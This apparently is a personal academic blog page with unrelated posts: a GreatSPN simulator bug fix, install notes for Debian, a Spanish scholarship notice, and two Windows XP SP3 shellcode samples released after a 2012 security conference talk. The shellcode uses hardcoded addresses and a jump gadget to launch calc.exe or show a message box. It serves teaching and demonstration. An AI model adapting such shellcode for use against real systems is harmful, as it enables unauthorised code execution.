Ricardo J. Rodríguez, PhD

My friend and colleague Simona Bernardi has found a bug in GreatSPN that provokes a segmentation fault when simulating nets specifying a set of transitions to be observed (i.e., to collect its related throughput).

In file “greatspn/SOURCE/WN/SOURCE/SIMULAT/stat.c”, look for the line

fprintf(resfp,"Efficiency ---> %zu transition firings per second\n",
events_made/(newt-oldt));


must be replaced with


if(newt!=oldt)
fprintf(resfp,"Efficiency ---> %zu transition firings per second\n",
events_made/(newt-oldt));
else
fprintf(stdout,"Efficiency ---> %d transition firings per second\n",
events_made);


Following previous post, I release here as well another shellcode used during demo session. Tested in the same environment than the previous one, Windows XP SP3 Professional Edition (SPA), kernel32.dll version 5.1.2600.5512 and ntdll.dll version 5.1.2600.5512.


int main(int argc, char *argv[])
{
char jmpNtdll[] = "\xB0\x9D\x92\x7C"; // push esp - ret (ntdll.dll)
char shellcode[] =
"\x31\xC9" // xor ecx, ecx
"\x51" // push ecx
"\x68\x6C\x61\x21\x21" // push 2121616C
"\x68\x6E\x61\x5F\x6F" // push 6F5F616E
"\x68\x63\x65\x5F\x75" // push 755F6563
"\x68\x6D\x65\x72\x65" // push 6572656D
"\x68\x5F\x73\x65\x5F" // push 5F65735F
"\x68\x6F\x6C\x61\x2C" // push 2C616C6F
"\x68\x6D\x6F\x5F\x6D" // push 6D5F6F6D
"\x68\x65\x5F\x63\x6F" // push 6F635F65
"\x68\x6E\x4E\x61\x6D" // push 6D614E6E
"\x68\x4E\x6F\x43\x6F" // push 6F436F4E
"\x68\x45\x73\x61\x5F" // push 5F617345
"\x8B\xCC" // mov ecx, esp
"\x33\xDB" // xor ebx, ebx
"\x51" // push ecx
"\x53" // push ebx
"\xBF\x01\x1C\x86\x7C" // mov edi, kernel32.FatalAppExitA + 1
"\x4F" // dec edi
"\xFF\xD7" // call edi

;

printf("%s%s\n", jmpNtdll, shellcode);
return 0;
}


As a side product of my presentation in conference NoConName 2012 this last Saturday, I release here the code for a shellcode that opens the ‘calc.exe’ process. It has been tested on a Windows XP SP3 Professional Edition (SPA), kernel32.dll version 5.1.2600.5512 and ntdll.dll version 5.1.2600.5512.

int main(int argc, char* argv)
{
char jmpNtdll[] = "\xB0\x9D\x92\x7C"; // push esp - ret (ntdll.dll)
char shellcode[] =
"\x31\xC9" // xor ecx, ecx
"\x51" // push ecx
"\x68\x2E\x65\x78\x65" // push 6578652E
"\x68\x63\x61\x6C\x63" // push 636C6163
"\x8B\xCC" // mov ecx, esp
"\x6A\x05" // push SW_SHOW
"\x51" // push ecx
"\xBF\xAD\x23\x86\x7C" // mov edi, kernel32.WinExec
"\xFF\xD7" // call edi
"\xEB\xFE" // jmp $EIP
;


printf("%s%s\n", jmpNtdll, shellcode);
return 0;
}


Se ofrece una beca de colaboración para el año escolar 2011/2012.

Tema: SERVICIOS WEB Y SEGURIDAD INFORMATICA

Dotación: 2700€

Requisitos:

Último día: 5 de Octubre

Contactar conmigo o con José Merseguer (D0.08 Ada Byron)

Hi all,

I’ve tested this install notes in several systems running  Debian Lenny OS. The last time I’ve installed was in:

$uname -a
Linux mulita 2.6.26-2-686 #1 SMP Wed Feb 10 08:59:21 UTC 2010 i686 GNU/Linux


Install notes:

1. Get the sources of GreatSPN

2. Packages needed for a correct installation:

libmotif-dev
libx11-dev
libxt-dev
libxext-dev
libxp-dev
libglib2.0-dev
flex
csh
make
build-essential
uil


$gzip -d yacc.tar.gz
$tar xvf yacc.tar
$sudo mv yacc /usr/bin/.


$mkdir GreatSPN
$mv SOURCES.tar.gz GreatSPN/.
$sudo mv GreatSPN /usr/local
$cd /usr/local/GreatSPN/
$tar xvf SOURCES.tar.gz

4. BEFORE compiling it, if you are using GCC 4.3 you should modify two files. Add the following include

#include <cstdlib>


SOURCES/WN/SOURCE/RESRG/src/esrg1.cpp
SOURCES/WN/SOURCE/RESRG/src/interface.cpp


$make -f Makefile.Linux-OpenMotif

If everything was fine, you have compiled rightly GreatSPN, congratulations! Now, time to configure your system to work with it.

5. Append the following lines to your shell resource file (~/.basrhrc if you use BASH):

export PATH=$PATH:/usr/local/GreatSPN/bin
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib:/usr/X11R6/lib


6. That’s all folks, enjoy it! (remember: to execute GreatSPN, in a terminal execute the command ‘greatspn’)

Hi all,
I’m building this website, so please be patient… this content will be up a.s.a.p.! 🙂

Best regards,

##########################

Hola a todos,
estoy construyendo la página web, así que por favro, sed pacientes… Este contenido estará tan pronto como sea posible! 🙂

Un abrazo,